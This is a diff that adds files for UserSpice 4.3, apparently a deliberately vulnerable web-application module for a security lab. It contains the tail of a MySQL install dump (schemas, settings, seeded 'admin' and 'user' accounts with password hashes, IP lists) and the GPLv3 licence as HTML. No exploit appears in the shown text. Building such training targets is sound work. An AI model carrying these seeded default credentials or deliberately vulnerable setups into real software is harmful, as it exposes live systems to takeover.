`snooping`, `echouser`, `wys`, `change_un`, `backup_dest`, `backup_source`, `backup_table`, `msg_notification`, `permission_restriction`, `auto_assign_un`, `page_permission_restriction`, `msg_blocked_users`, `msg_default_to`, `notifications`, `notif_daylimit`, `recap_public`, `recap_private`, `page_default_private`, `navigation_type`, `copyright`, `custom_settings`, `system_announcement`, `twofa`) VALUES +(1, 0, 0, 0, '../users/css/color_schemes/bootstrap.min.css', '../users/css/sb-admin.css', '../users/css/custom.css', 'UserSpice', 'en', 1, 0, 0, 0, 0, '', '', '', '', '', '', '', '', '', 0, 0, 6, 30, 4, 30, 1, 1, 0, 1, 0, '/', 'everything', '', 0, 0, 0, 0, 0, 1, 0, 7, '6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI', '6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe', 1, 1, 'UserSpice', 1, '', 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `updates` +-- + +CREATE TABLE `updates` ( + `id` int(11) NOT NULL, + `migration` varchar(15) NOT NULL, + `applied_on` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `users` +-- + +CREATE TABLE `users` ( + `id` int(11) NOT NULL, + `email` varchar(155) NOT NULL, + `email_new` varchar(155) DEFAULT NULL, + `username` varchar(255) NOT NULL, + `password` varchar(255) NOT NULL, + `fname` varchar(255) NOT NULL, + `lname` varchar(255) NOT NULL, + `permissions` int(11) NOT NULL, + `logins` int(100) NOT NULL, + `account_owner` tinyint(4) NOT NULL DEFAULT '0', + `account_id` int(11) NOT NULL DEFAULT '0', + `company` varchar(255) NOT NULL, + `join_date` datetime NOT NULL, + `last_login` datetime NOT NULL, + `email_verified` tinyint(4) NOT NULL DEFAULT '0', + `vericode` varchar(15) NOT NULL, + `active` int(1) NOT NULL, + `oauth_provider` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, + `oauth_uid` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, + `gender` varchar(10) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, + `locale` varchar(10) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, + `gpluslink` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, + `picture` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NOT NULL, + `created` datetime NOT NULL, + `modified` datetime NOT NULL, + `fb_uid` varchar(255) NOT NULL, + `un_changed` int(1) NOT NULL, + `msg_exempt` int(1) NOT NULL DEFAULT '0', + `last_confirm` datetime DEFAULT NULL, + `protected` int(1) NOT NULL DEFAULT '0', + `dev_user` int(1) NOT NULL DEFAULT '0', + `msg_notification` int(1) NOT NULL DEFAULT '1', + `force_pr` int(1) NOT NULL DEFAULT '0', + `twoKey` varchar(16) DEFAULT NULL, + `twoEnabled` int(1) DEFAULT '0', + `cloak_allowed` tinyint(1) NOT NULL DEFAULT '0' +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `users` +-- + +INSERT INTO `users` (`id`, `email`, `email_new`, `username`, `password`, `fname`, `lname`, `permissions`, `logins`, `account_owner`, `account_id`, `company`, `join_date`, `last_login`, `email_verified`, `vericode`, `active`, `oauth_provider`, `oauth_uid`, `gender`, `locale`, `gpluslink`, `picture`, `created`, `modified`, `fb_uid`, `un_changed`, `msg_exempt`, `last_confirm`, `protected`, `dev_user`, `msg_notification`, `force_pr`, `twoKey`, `twoEnabled`, `cloak_allowed`) VALUES +(1, 'userspicephp@gmail.com', NULL, 'admin', '$2y$12$1v06jm2KMOXuuo3qP7erTuTIJFOnzhpds1Moa8BadnUUeX0RV3ex.', 'The', 'Admin', 1, 0, 1, 0, 'UserSpice', '2016-01-01 00:00:00', '2017-10-09 15:20:34', 1, '322418', 0, '', '', '', '', '', '', '0000-00-00 00:00:00', '1899-11-30 00:00:00', '', 0, 1, '2017-10-08 15:24:37', 1, 0, 1, 0, NULL, 0, 0), +(2, 'noreply@userspice.com', NULL, 'user', '$2y$12$HZa0/d7evKvuHO8I3U8Ff.pOjJqsGTZqlX8qURratzP./EvWetbkK', 'Sample', 'User', 1, 0, 1, 0, 'none', '2016-01-02 00:00:00', '2017-10-08 15:47:41', 1, '970748', 1, '', '', '', '', '', '', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '', 0, 0, NULL, 0, 0, 1, 0, NULL, 0, 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `users_online` +-- + +CREATE TABLE `users_online` ( + `id` int(10) NOT NULL, + `ip` varchar(15) NOT NULL, + `timestamp` varchar(15) NOT NULL, + `user_id` int(10) NOT NULL, + `session` varchar(50) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `users_online` +-- + +INSERT INTO `users_online` (`id`, `ip`, `timestamp`, `user_id`, `session`) VALUES +(1, '::1', '1511831556', 1, ''); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `users_session` +-- + +CREATE TABLE `users_session` ( + `id` int(11) NOT NULL, + `user_id` int(11) NOT NULL, + `hash` varchar(255) NOT NULL, + `uagent` text +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- -------------------------------------------------------- + +-- +-- Table structure for table `user_permission_matches` +-- + +CREATE TABLE `user_permission_matches` ( + `id` int(11) NOT NULL, + `user_id` int(11) NOT NULL, + `permission_id` int(11) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=utf8; + +-- +-- Dumping data for table `user_permission_matches` +-- + +INSERT INTO `user_permission_matches` (`id`, `user_id`, `permission_id`) VALUES +(100, 1, 1), +(101, 1, 2), +(102, 2, 1); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `us_ip_blacklist` +-- + +CREATE TABLE `us_ip_blacklist` ( + `id` int(11) NOT NULL, + `ip` varchar(50) NOT NULL, + `last_user` int(11) NOT NULL DEFAULT '0', + `reason` int(11) NOT NULL DEFAULT '0' +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `us_ip_blacklist` +-- + +INSERT INTO `us_ip_blacklist` (`id`, `ip`, `last_user`, `reason`) VALUES +(3, '192.168.0.21', 1, 0), +(4, '192.168.0.22', 1, 0), +(10, '192.168.0.222', 0, 0); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `us_ip_list` +-- + +CREATE TABLE `us_ip_list` ( + `id` int(11) NOT NULL, + `ip` varchar(50) NOT NULL, + `user_id` int(11) NOT NULL, + `timestamp` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `us_ip_list` +-- + +INSERT INTO `us_ip_list` (`id`, `ip`, `user_id`, `timestamp`) VALUES +(1, '::1', 1, '2017-10-09 15:20:03'); + +-- -------------------------------------------------------- + +-- +-- Table structure for table `us_ip_whitelist` +-- + +CREATE TABLE `us_ip_whitelist` ( + `id` int(11) NOT NULL, + `ip` varchar(50) NOT NULL +) ENGINE=InnoDB DEFAULT CHARSET=latin1; + +-- +-- Dumping data for table `us_ip_whitelist` +-- + +INSERT INTO `us_ip_whitelist` (`id`, `ip`) VALUES +(2, '192.168.0.21'), +(3, '192.168.0.23'); + +-- +-- Indexes for dumped tables +-- + +-- +-- Indexes for table `audit` +-- +ALTER TABLE `audit` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `crons` +-- +ALTER TABLE `crons` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `crons_logs` +-- +ALTER TABLE `crons_logs` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `email` +-- +ALTER TABLE `email` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `groups_menus` +-- +ALTER TABLE `groups_menus` + ADD PRIMARY KEY (`id`), + ADD KEY `group_id` (`group_id`), + ADD KEY `menu_id` (`menu_id`); + +-- +-- Indexes for table `keys` +-- +ALTER TABLE `keys` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `logs` +-- +ALTER TABLE `logs` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `logs_exempt` +-- +ALTER TABLE `logs_exempt` + ADD PRIMARY KEY (`id`), + ADD UNIQUE KEY `logs_exempt_type` (`name`); + +-- +-- Indexes for table `menus` +-- +ALTER TABLE `menus` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `messages` +-- +ALTER TABLE `messages` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `message_threads` +-- +ALTER TABLE `message_threads` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `mqtt` +-- +ALTER TABLE `mqtt` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `notifications` +-- +ALTER TABLE `notifications` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `pages` +-- +ALTER TABLE `pages` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `permissions` +-- +ALTER TABLE `permissions` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `permission_page_matches` +-- +ALTER TABLE `permission_page_matches` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `profiles` +-- +ALTER TABLE `profiles` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `settings` +-- +ALTER TABLE `settings` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `updates` +-- +ALTER TABLE `updates` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `users` +-- +ALTER TABLE `users` + ADD PRIMARY KEY (`id`), + ADD KEY `EMAIL` (`email`) USING BTREE; + +-- +-- Indexes for table `users_online` +-- +ALTER TABLE `users_online` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `users_session` +-- +ALTER TABLE `users_session` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `user_permission_matches` +-- +ALTER TABLE `user_permission_matches` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `us_ip_blacklist` +-- +ALTER TABLE `us_ip_blacklist` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `us_ip_list` +-- +ALTER TABLE `us_ip_list` + ADD PRIMARY KEY (`id`); + +-- +-- Indexes for table `us_ip_whitelist` +-- +ALTER TABLE `us_ip_whitelist` + ADD PRIMARY KEY (`id`); + +-- +-- AUTO_INCREMENT for dumped tables +-- + +-- +-- AUTO_INCREMENT for table `audit` +-- +ALTER TABLE `audit` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; +-- +-- AUTO_INCREMENT for table `crons` +-- +ALTER TABLE `crons` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; +-- +-- AUTO_INCREMENT for table `crons_logs` +-- +ALTER TABLE `crons_logs` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; +-- +-- AUTO_INCREMENT for table `email` +-- +ALTER TABLE `email` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; +-- +-- AUTO_INCREMENT for table `groups_menus` +-- +ALTER TABLE `groups_menus` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=38; +-- +-- AUTO_INCREMENT for table `keys` +-- +ALTER TABLE `keys` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; +-- +-- AUTO_INCREMENT for table `logs` +-- +ALTER TABLE `logs` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=79; +-- +-- AUTO_INCREMENT for table `logs_exempt` +-- +ALTER TABLE `logs_exempt` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; +-- +-- AUTO_INCREMENT for table `menus` +-- +ALTER TABLE `menus` + MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=23; +-- +-- AUTO_INCREMENT for table `messages` +-- +ALTER TABLE `messages` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; +-- +-- AUTO_INCREMENT for table `message_threads` +-- +ALTER TABLE `message_threads` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; +-- +-- AUTO_INCREMENT for table `mqtt` +-- +ALTER TABLE `mqtt` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; +-- +-- AUTO_INCREMENT for table `notifications` +-- +ALTER TABLE `notifications` + MODIFY `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; +-- +-- AUTO_INCREMENT for table `pages` +-- +ALTER TABLE `pages` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=76; +-- +-- AUTO_INCREMENT for table `permissions` +-- +ALTER TABLE `permissions` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; +-- +-- AUTO_INCREMENT for table `permission_page_matches` +-- +ALTER TABLE `permission_page_matches` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=48; +-- +-- AUTO_INCREMENT for table `profiles` +-- +ALTER TABLE `profiles` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; +-- +-- AUTO_INCREMENT for table `settings` +-- +ALTER TABLE `settings` + MODIFY `id` int(50) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; +-- +-- AUTO_INCREMENT for table `updates` +-- +ALTER TABLE `updates` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15; +-- +-- AUTO_INCREMENT for table `users` +-- +ALTER TABLE `users` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; +-- +-- AUTO_INCREMENT for table `users_online` +-- +ALTER TABLE `users_online` + MODIFY `id` int(10) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; +-- +-- AUTO_INCREMENT for table `users_session` +-- +ALTER TABLE `users_session` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; +-- +-- AUTO_INCREMENT for table `user_permission_matches` +-- +ALTER TABLE `user_permission_matches` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=111; +-- +-- AUTO_INCREMENT for table `us_ip_blacklist` +-- +ALTER TABLE `us_ip_blacklist` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11; +-- +-- AUTO_INCREMENT for table `us_ip_list` +-- +ALTER TABLE `us_ip_list` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; +-- +-- AUTO_INCREMENT for table `us_ip_whitelist` +-- +ALTER TABLE `us_ip_whitelist` + MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7; +/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; +/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; +/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/license.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/license.php new file mode 100644 index 000000000..ebaf3d39e --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/license.php @@ -0,0 +1,780 @@ +

    Licenses for other included software are located in the /users/licenses folder. By using this software you are agreeing to all included licenses.

    + +

    GNU GENERAL PUBLIC LICENSE

    +

    Version 3, 29 June 2007

    + +

    Copyright © 2007 Free Software Foundation, Inc. + <http://fsf.org/>

    + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed.

    + +

    Preamble

    + +

    The GNU General Public License is a free, copyleft license for +software and other kinds of works.

    + +

    The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too.

    + +

    When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things.

    + +

    To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others.

    + +

    For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights.

    + +

    Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it.

    + +

    For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions.

    + +

    Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users.

    + +

    Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free.

    + +

    The precise terms and conditions for copying, distribution and +modification follow.

    + +

    TERMS AND CONDITIONS

    + +

    0. Definitions.

    + +

    “This License” refers to version 3 of the GNU General Public License.

    + +

    “Copyright” also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks.

    + +

    “The Program” refers to any copyrightable work licensed under this +License. Each licensee is addressed as “you”. “Licensees” and +“recipients” may be individuals or organizations.

    + +

    To “modify” a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a “modified version” of the +earlier work or a work “based on” the earlier work.

    + +

    A “covered work” means either the unmodified Program or a work based +on the Program.

    + +

    To “propagate” a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well.

    + +

    To “convey” a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying.

    + +

    An interactive user interface displays “Appropriate Legal Notices” +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion.

    + +

    1. Source Code.

    + +

    The “source code” for a work means the preferred form of the work +for making modifications to it. “Object code” means any non-source +form of a work.

    + +

    A “Standard Interface” means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language.

    + +

    The “System Libraries” of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +“Major Component”, in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it.

    + +

    The “Corresponding Source” for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work.

    + +

    The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source.

    + +

    The Corresponding Source for a work in source code form is that +same work.

    + +

    2. Basic Permissions.

    + +

    All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law.

    + +

    You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you.

    + +

    Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary.

    + +

    3. Protecting Users' Legal Rights From Anti-Circumvention Law.

    + +

    No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures.

    + +

    When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures.

    + +

    4. Conveying Verbatim Copies.

    + +

    You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program.

    + +

    You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee.

    + +

    5. Conveying Modified Source Versions.

    + +

    You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions:

    + +
      +
    • a) The work must carry prominent notices stating that you modified + it, and giving a relevant date.
    • + +
    • b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + “keep intact all notices”.
    • + +
    • c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it.
    • + +
    • d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so.
    • +
    + +

    A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +“aggregate” if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate.

    + +

    6. Conveying Non-Source Forms.

    + +

    You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways:

    + +
      +
    • a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange.
    • + +
    • b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge.
    • + +
    • c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b.
    • + +
    • d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements.
    • + +
    • e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d.
    • +
    + +

    A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work.

    + +

    A “User Product” is either (1) a “consumer product”, which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, “normally used” refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product.

    + +

    “Installation Information” for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made.

    + +

    If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM).

    + +

    The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network.

    + +

    Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying.

    + +

    7. Additional Terms.

    + +

    “Additional permissions” are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions.

    + +

    When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission.

    + +

    Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms:

    + +
      +
    • a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or
    • + +
    • b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or
    • + +
    • c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or
    • + +
    • d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or
    • + +
    • e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or
    • + +
    • f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors.
    • +
    + +

    All other non-permissive additional terms are considered “further +restrictions” within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying.

    + +

    If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms.

    + +

    Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way.

    + +

    8. Termination.

    + +

    You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11).

    + +

    However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation.

    + +

    Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice.

    + +

    Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10.

    + +

    9. Acceptance Not Required for Having Copies.

    + +

    You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so.

    + +

    10. Automatic Licensing of Downstream Recipients.

    + +

    Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License.

